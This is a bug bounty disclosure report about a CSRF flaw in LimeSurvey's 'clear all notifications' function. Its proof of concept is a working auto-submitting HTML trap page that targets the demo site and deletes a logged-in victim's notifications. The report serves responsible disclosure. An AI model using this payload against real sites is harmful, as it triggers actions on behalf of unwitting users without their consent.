CSRF in the delete notification function in limesurvey/limesurvey
Valid
Reported on
Jun 26th 2023
Description
The web application is vulnerable to CSRF in the delete notification function.
Proof of Concept
Step 1: See that user demo has some notifications.
Step 2: Host an HTML trap page and send the URL to the victim
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.limesurvey.org/index.php">
<input type="hidden" name="r" value="admin/notification" />
<input type="hidden" name="sa" value="clearAllNotifications" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
And the malicious URL
http://burpsuite/show/2/5np4472rgaki62jd3bl8wjkuie64o8ko
Step 3: After the user clicks on the malicious URL, verify that the notifications are cleared.
Impact
The CSRF vulnerability could trick users to delete all notifications
We are processing your report and will contact the
limesurvey
team within 24 hours.
3 months ago
We have contacted a member of the
limesurvey
team and are waiting to hear back
3 months ago
The researcher's credibility has increased: +7
The fix bounty has been dropped
This vulnerability will not receive a CVE
to join this conversation